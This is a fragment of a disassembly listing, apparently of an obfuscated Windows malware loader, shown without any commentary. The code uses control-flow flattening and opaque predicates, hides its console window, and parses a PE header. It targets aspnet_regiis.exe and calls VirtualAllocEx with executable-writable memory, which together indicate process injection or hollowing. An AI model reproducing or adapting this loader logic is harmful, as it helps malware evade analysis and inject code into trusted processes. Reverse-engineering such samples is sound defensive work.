mov eax, dword [0x10066338]
mov ecx, dword [0x10066334]
mov edx, eax
add edx, 0xe7a18206
sub edx, 1
sub edx, 0xe7a18206
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1bafbc20
mov ecx, 0x8991dd3d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov dword [ebp - 0x168], 0x6b367e36
jmp 0x10005a52
mov ecx, dword [0x10066338]
mov eax, dword [0x10066334]
mov edx, ecx
add edx, 0xc0dce0b0
sub edx, 1
sub edx, 0xc0dce0b0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe41a6e0f
mov ecx, 0xfaca25ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x168], eax
jmp 0x10005a52
mov dword [ebp - 0x168], 0xc31721cb
jmp 0x10005a52
mov dword [ebp - 0x168], 0x32f19388
jmp 0x10005a52
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001470
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001470
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c000
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x168], 0x8b9b91e0
jmp 0x10005a52
mov eax, dword [ebp - 0x120]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xec]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x168], 0xc01c8a22
jmp 0x10005a52
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x168], 0xbb45abe5
jmp 0x10005a52
mov dword [ebp - 0x168], 0x58fbf700
jmp 0x10005a52
mov dword [ebp - 0x168], 0x56d804a9
jmp 0x10005a52
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x168], 0xcee55f9
jmp 0x10005a52
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xcc]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x168], 0x7766d284
jmp 0x10005a52
mov dword [ebp - 0x168], 0xb06f2bd8
jmp 0x10005a52
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x168], 0xbc65548a
jmp 0x10005a52
mov dword [ebp - 0x168], 0xfaca25ee
jmp 0x10005a52
mov dword [ebp - 0x168], 0x3c9dddd4
jmp 0x100030d0